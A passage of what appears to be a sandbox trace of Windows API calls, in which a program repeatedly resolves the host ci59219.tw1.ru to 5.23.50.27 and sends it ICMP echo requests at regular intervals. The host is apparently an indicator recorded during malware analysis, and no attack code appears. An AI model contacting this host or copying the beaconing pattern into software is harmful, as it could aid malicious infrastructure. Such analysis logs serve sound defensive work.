ai_addr=0x1d2fa560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0176.692] FreeAddrInfoW (pAddrInfo=0x1d2eb270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0176.692] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33f600 [0176.692] IcmpSendEcho2 (in: IcmpHandle=0x1b34f990, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33f600, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4215f0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4215f0) returned 0x0 [0177.013] LocalFree (hMem=0x1b33f600) returned 0x0 [0182.274] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x511890*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9220*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0182.281] FreeAddrInfoW (pAddrInfo=0x511890*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9220*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0182.281] IcmpCreateFile () returned 0x1b34ea90 [0182.284] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d44cf30 [0182.284] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33fba0 [0182.284] IcmpSendEcho2 (in: IcmpHandle=0x1b34ea90, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33fba0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d44cf30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d44cf30) returned 0x1 [0182.441] LocalFree (hMem=0x1b33fba0) returned 0x0 [0182.441] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1b2ea770*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9040*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0182.443] FreeAddrInfoW (pAddrInfo=0x1b2ea770*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9040*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0182.443] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33ffc0 [0182.443] IcmpSendEcho2 (in: IcmpHandle=0x1b34ea90, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33ffc0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d44cf30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d44cf30) returned 0x1 [0182.806] LocalFree (hMem=0x1b33ffc0) returned 0x0 [0182.806] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1b2eb070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f8d60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0182.809] FreeAddrInfoW (pAddrInfo=0x1b2eb070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f8d60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0182.809] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33fba0 [0182.809] IcmpSendEcho2 (in: IcmpHandle=0x1b34ea90, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33fba0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d44cf30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d44cf30) returned 0x1 [0183.158] LocalFree (hMem=0x1b33fba0) returned 0x0 [0188.346] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45e620*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9120*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0188.353] FreeAddrInfoW (pAddrInfo=0x1d45e620*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9120*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0188.354] IcmpCreateFile () returned 0x1b34e850 [0188.588] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d46aa60 [0188.588] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d2ee170 [0188.588] IcmpSendEcho2 (in: IcmpHandle=0x1b34e850, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d2ee170, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x1 [0189.290] LocalFree (hMem=0x1d2ee170) returned 0x0 [0189.291] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45ef20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa640*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0189.295] FreeAddrInfoW (pAddrInfo=0x1d45ef20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa640*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0189.296] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x501c50 [0189.296] IcmpSendEcho2 (in: IcmpHandle=0x1b34e850, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x501c50, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x1 [0190.264] LocalFree (hMem=0x501c50) returned 0x0 [0190.265] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45ee60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9260*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0190.275] FreeAddrInfoW (pAddrInfo=0x1d45ee60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9260*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0190.275] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d2edea0 [0190.276] IcmpSendEcho2 (in: IcmpHandle=0x1b34e850, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d2edea0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x1 [0190.479] LocalFree (hMem=0x1d2edea0) returned 0x0 [0195.999] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45f0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33d140*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0196.003] FreeAddrInfoW (pAddrInfo=0x1d45f0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33d140*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0196.004] IcmpCreateFile () returned 0x1d4693a0 [0196.005] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d46aa60 [0196.005] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x501c50 [0196.005] IcmpSendEcho2 (in: IcmpHandle=0x1d4693a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x501c50, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x1 [0196.709] LocalFree (hMem=0x501c50) returned 0x0 [0196.710] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45f160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33ce00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0196.713] FreeAddrInfoW (pAddrInfo=0x1d45f160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33ce00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0196.713] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33fb40 [0196.713] IcmpSendEcho2 (in: IcmpHandle=0x1d4693a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33fb40, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x0 [0197.485] LocalFree (hMem=0x1b33fb40) returned 0x0 [0197.486] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45e6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33d160*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0197.493] FreeAddrInfoW (pAddrInfo=0x1d45e6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33d160*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0197.493] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33fb40 [0197.493] IcmpSendEcho2 (in: IcmpHandle=0x1d4693a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33fb40, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d46aa60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d46aa60) returned 0x1 [0198.370] LocalFree (hMem=0x1b33fb40) returned 0x0 [0203.607] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45e920*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c940*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0203.613] FreeAddrInfoW (pAddrInfo=0x1d45e920*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c940*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0203.613] IcmpCreateFile () returned 0x1d469520 [0203.825] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d483180 [0203.825] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d304cf0 [0203.825] IcmpSendEcho2 (in: IcmpHandle=0x1d469520, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d304cf0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d483180, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d483180) returned 0x1 [0204.342] LocalFree (hMem=0x1d304cf0) returned 0x0 [0204.342] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45e3a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c980*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0204.345] FreeAddrInfoW (pAddrInfo=0x1d45e3a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c980*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0204.345] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d3050b0 [0204.345] IcmpSendEcho2 (in: IcmpHandle=0x1d469520, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d3050b0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d483180, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d483180) returned 0x1 [0204.967] LocalFree (hMem=0x1d3050b0) returned 0x0 [0204.968] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d45eca0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c5a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0205.166] FreeAddrInfoW (pAddrInfo=0x1d45eca0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b33c5a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0205.166] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d304e10 [0205.166] IcmpSendEcho2 (in: IcmpHandle=0x1d469520, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d304e10, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d483180, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d483180) returned 0x1 [0205.382] LocalFree (hMem=0x1d304e10) returned 0x0 [0210.633] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ace20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0210.640] FreeAddrInfoW (pAddrInfo=0x1d4ace20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0210.641] IcmpCreateFile () returned 0x1d469ac0 [0210.644] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d4adb20 [0210.644] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470ea0 [0210.645] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470ea0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4adb20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4adb20) returned 0x1 [0211.341] LocalFree (hMem=0x1d470ea0) returned 0x0 [0211.350] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4968a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0211.353] FreeAddrInfoW (pAddrInfo=0x1d4acce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4968a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0211.353] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470ea0 [0211.353] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470ea0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4adb20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4adb20) returned 0x1 [0211.607] LocalFree (hMem=0x1d470ea0) returned 0x0 [0211.607] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acc60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496c40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0211.610] FreeAddrInfoW (pAddrInfo=0x1d4acc60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496c40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0211.610] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471200 [0211.610] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471200, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4adb20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4adb20) returned 0x1 [0212.059] LocalFree (hMem=0x1d471200) returned 0x0 [0217.235] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac120*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496aa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0217.238] FreeAddrInfoW (pAddrInfo=0x1d4ac120*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496aa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0217.238] IcmpCreateFile () returned 0x1d469ac0 [0217.240] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e6fce30 [0217.240] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470fc0 [0217.240] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470fc0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0217.489] LocalFree (hMem=0x1d470fc0) returned 0x0 [0217.489] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acd60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496aa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0217.492] FreeAddrInfoW (pAddrInfo=0x1d4acd60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496aa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0217.492] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471470 [0217.492] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471470, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0218.289] LocalFree (hMem=0x1d471470) returned 0x0 [0218.290] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac660*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0218.292] FreeAddrInfoW (pAddrInfo=0x1d4ac660*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0218.292] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470f00 [0218.292] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470f00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0218.997] LocalFree (hMem=0x1d470f00) returned 0x0 [0224.054] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acb20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496940*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0224.060] FreeAddrInfoW (pAddrInfo=0x1d4acb20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496940*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0224.060] IcmpCreateFile () returned 0x1d469ac0 [0224.160] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e6fce30 [0224.161] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470c00 [0224.161] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470c00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0224.519] LocalFree (hMem=0x1d470c00) returned 0x0 [0224.519] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac7e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ac0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0224.522] FreeAddrInfoW (pAddrInfo=0x1d4ac7e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ac0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0224.522] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470d80 